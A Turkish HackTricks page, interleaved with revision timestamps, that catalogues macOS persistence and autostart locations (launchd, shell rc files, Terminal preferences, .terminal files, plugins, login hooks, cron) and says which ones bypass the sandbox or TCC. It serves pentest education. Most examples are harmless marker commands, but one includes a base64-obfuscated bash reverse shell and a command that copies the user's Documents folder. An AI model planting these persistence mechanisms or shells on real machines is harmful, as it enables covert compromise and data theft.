2024-02-10 18:14:16 +00:00
# macOS Otomatik Başlatma
2023-06-01 21:09:46 +00:00
< details >
2024-02-13 00:51:21 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan ileri seviyeye öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-13 00:51:21 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-13 00:51:21 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2023-06-01 21:09:46 +00:00
< / details >
2024-02-13 00:51:21 +00:00
Bu bölüm, [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ) blog serisine dayanmaktadı r, amacı **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüz macOS sürümüyle (13.4) **hala çalı şan teknikleri belirtmek** ve **gereken izinleri** belirtmektir.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
## Kum Havuzu Atlama
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-13 00:51:21 +00:00
Burada, **kum havuzu atlamaya** yararlı olan başlatma konumları nı bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **sı k yapı lan bir eylem** , belirli bir **zaman miktarı ** veya genellikle bir kum havuzundan **kök izinlerine ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe bir şeyi **yürütmenizi** sağlar.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-02-13 00:51:21 +00:00
* Kum havuzu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC Atlama: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-13 00:51:21 +00:00
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-13 00:51:21 +00:00
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-13 00:51:21 +00:00
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-13 00:51:21 +00:00
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**`launchd`**, başlangı çta OX S çekirdeği tarafı ndan yürütülen **ilk işlem** ve kapanı rken sonuncusudur. Her zaman **PID 1** 'e sahip olmalı dı r. Bu işlem, **ASEP** **plistlerinde** belirtilen yapı landı rmaları **okuyacak ve yürütecek** :
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* `/Library/LaunchAgents` : Yönetici tarafı ndan yüklenen kullanı cı başı na ajanlar
* `/Library/LaunchDaemons` : Yönetici tarafı ndan yüklenen sistem genelinde hizmetler
* `/System/Library/LaunchAgents` : Apple tarafı ndan sağlanan kullanı cı başı na ajanlar.
* `/System/Library/LaunchDaemons` : Apple tarafı ndan sağlanan sistem genelinde hizmetler.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Bir kullanı cı oturum açtı ğı nda, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumları ndaki plist'ler **oturum açan kullanı cı izinleriyle** başlatı lı r.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**Ajanlar ve hizmetler arası ndaki temel fark, ajanları n kullanı cı oturum açtı ğı nda yüklenmesi ve hizmetlerin sistem başlatı ldı ğı nda yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanı cı nı n sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrı ca ajanlar GUI kullanabilirken, hizmetler arka planda çalı şmalı dı r.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:51:21 +00:00
Bazı durumlarda, **kullanı cı oturum açmadan önce bir ajanı n çalı ştı rı lması gerekebilir** , bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sı rası nda destekleyici teknoloji sağlamak için kullanı şlı dı r. Bunlar ayrı ca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) bakı n).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-02-13 00:51:21 +00:00
Yeni Daemon veya Ajan yapı landı rma dosyaları , **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanı larak yüklenecektir** . Ayrı ca, `.plist` uzantı sı z dosyaları `launchctl -F <dosya>` ile de yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile de **yüklemeyi kaldı rmak** mümkündür (bu işaret ettiği işlem sonlandı rı lacaktı r).
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Bir **Ajanı n** veya **Daemon'ı n** **çalı şması nı engelleyen** bir şeyin (örneğin, bir geçersiz kı lma) **olmadı ğı ndan emin olmak** için şunu çalı ştı rı n: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Mevcut kullanı cı tarafı ndan yüklenen tüm ajanları ve daemonları listele:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-02-13 00:51:21 +00:00
Eğer bir plist dosyası bir kullanı cı ya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanı cı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrı calı k yükseltme saldı rı ları nı engelleyebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### kabuk başlangı ç dosyaları
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Açı klama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC Atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak bu dosyaları yükleyen bir kabuk yürüten bir TCC atlatma uygulaması bulmanı z gerekmektedir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı k
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı k
* Kök gereklidir
* Muhtemelen daha fazlası : ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: bash ile bir terminal aç
2024-02-10 18:14:16 +00:00
* `/etc/profile` (çalı şmadı )
* `~/.profile` (çalı şmadı )
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alı nı r: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
`zsh` veya `bash` gibi bir kabuk ortamı başlatı ldı ğı nda, **belirli başlangı ç dosyaları çalı ştı rı lı r** . macOS şu anda varsayı lan kabuk olarak `/bin/zsh` kullanmaktadı r. Bu kabuk, Terminal uygulaması başlatı ldı ğı nda veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta bulunması na rağmen, kullanı lmak için açı kça çağrı lması gerekir.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Okuyabileceğimiz zsh'in man sayfası olan ** `man zsh` **, başlangı ç dosyaları nı n uzun bir açı klaması na sahiptir.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-10 18:14:16 +00:00
### Yeniden Açı lan Uygulamalar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Belirtilen açı ğı yapı landı rmak ve oturumu kapatı p açmak veya hatta yeniden başlatmak, uygulamayı çalı ştı rmam için işe yaramadı . (Uygulama çalı ştı rı lmı yordu, belki bu eylemler gerçekleştirilirken uygulamanı n çalı şı yor olması gerekiyor)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Uygulamaları yeniden açma işlemi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Yeniden açı lacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyası nı n içindedir.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Bu nedenle, yeniden açı lacak uygulamaları kendi uygulamanı zı başlatmak için sadece **uygulamanı zı listeye eklemeniz yeterlidir** .
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
UUID, o dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:51:21 +00:00
**Bu listeye bir uygulama eklemek için** şunları kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 18:14:16 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
### Terminal Tercihleri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı gerektirir.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Terminalı Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**`~/Library/Preferences`** içerisinde, Kullanı cı Tercihleri Uygulamaları n tercihlerini saklar. Bu tercihlerden bazı ları , **diğer uygulamalar/skriptleri çalı ştı rmak** için bir yapı landı rma tutabilir.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Örneğin, Terminal Başlangı çta bir komutu çalı ştı rabilir:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, ** `~/Library/Preferences/com.apple.Terminal.plist` ** dosyası nda şu şekilde yansı tı lı r:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 18:14:16 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:51:21 +00:00
Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazı lı rsa, ** `open` ** işlevi kullanı larak **terminal açı labilir ve o komut çalı ştı rı labilir** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bunu terminalden şu şekilde ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-02-13 00:51:21 +00:00
### Terminal Betikleri / Diğer dosya uzantı ları
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı gerektirir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* **Herhangi bir yer**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Terminali Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Eğer bir [**`.terminal`** betiği ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) oluşturursanı z ve açarsanı z, **Terminal uygulaması ** otomatik olarak açı lacak ve içinde belirtilen komutları çalı ştı rmak için çağrı lacaktı r. Eğer Terminal uygulaması nı n özel ayrı calı kları varsa (örneğin TCC), komutunuz bu özel ayrı calı klarla çalı ştı rı lacaktı r.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Denemek için:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-10 18:14:16 +00:00
### Ses Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Açı klama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
* Bazı ek TCC erişimine sahip olabilirsiniz
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-02-13 00:51:21 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Önceki açı klamalara göre **bazı ses eklentilerini derleyip** yüklemek mümkündür.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
### QuickLook Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
* Bazı ek TCC erişimine sahip olabilirsiniz
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
QuickLook eklentileri, bir dosyanı n önizlemesini tetiklediğinizde çalı ştı rı labilir ve o dosya türünü destekleyen bir **eklenti yüklü** olduğunda çalı ştı rı lı r (Finder'da dosya seçiliyken boşluk çubuğuna bası n).
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Kendi QuickLook eklentinizi derleyip, yüklemek için önceki konumlardan birine yerleştirebilir ve ardı ndan desteklenen bir dosyaya gidip tetiklemek için boşluğa basabilirsiniz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### ~~Giriş/Çı kı ş Kancaları ~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Bu benim için çalı şmadı , ne kullanı cı GirişKancası ne de kök Çı kı şKancası ile.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmelisiniz
* `~/Library/Preferences/com.apple.loginwindow.plist` içinde bulunur
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Kullanı cı giriş yaptı ğı nda komutları yürütmek için kullanı labilen ancak artı k kullanı lmayan kancalardı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu ayar `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 18:14:16 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Silmek için:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-02-13 00:51:21 +00:00
Root kullanı cı sı ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` ** içinde saklanı r.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
## Koşullu Kum Sandı ğı Atlatma
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-13 00:51:21 +00:00
Burada, **kum sandı ğı atlatma** için yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sı radı şı " kullanı cı ** eylemleri veya ortamlar gibi **çok yaygı n olmayan koşullar** beklemek anlamı na gelir.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum sandı ğı nı atlamak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak, `crontab` ikilisini çalı ştı rabilmeniz gerekir
* Veya root olmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-02-13 00:51:21 +00:00
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>` yı çalı ştı rabilirseniz root gerekli değildir
* **Tetikleyici**: Cron işine bağlı dı r
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**Mevcut kullanı cı nı n** cron işlerini listelemek için:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-02-13 00:51:21 +00:00
MacOS'ta, kullanı cı ları n tüm cron işlerini ** `/usr/lib/cron/tabs/` ** ve ** `/var/at/tabs/` ** dizinlerinde görebilirsiniz (root izni gerektirir).
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
MacOS'ta, belirli bir sı klı kla betikleri çalı ştı ran birkaç klasör bulunabilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-02-13 00:51:21 +00:00
Aşağı da düzenli **cron görevleri** , **at görevleri** (pek kullanı lmaz) ve **periyodik görevler** (genellikle geçici dosyaları temizlemek için kullanı lı r) bulunmaktadı r. Günlük periyodik görevler örneğin şu şekilde çalı ştı rı labilir: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**Kullanı cı cron görevi programatik olarak eklemek** için şu kullanı labilir:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
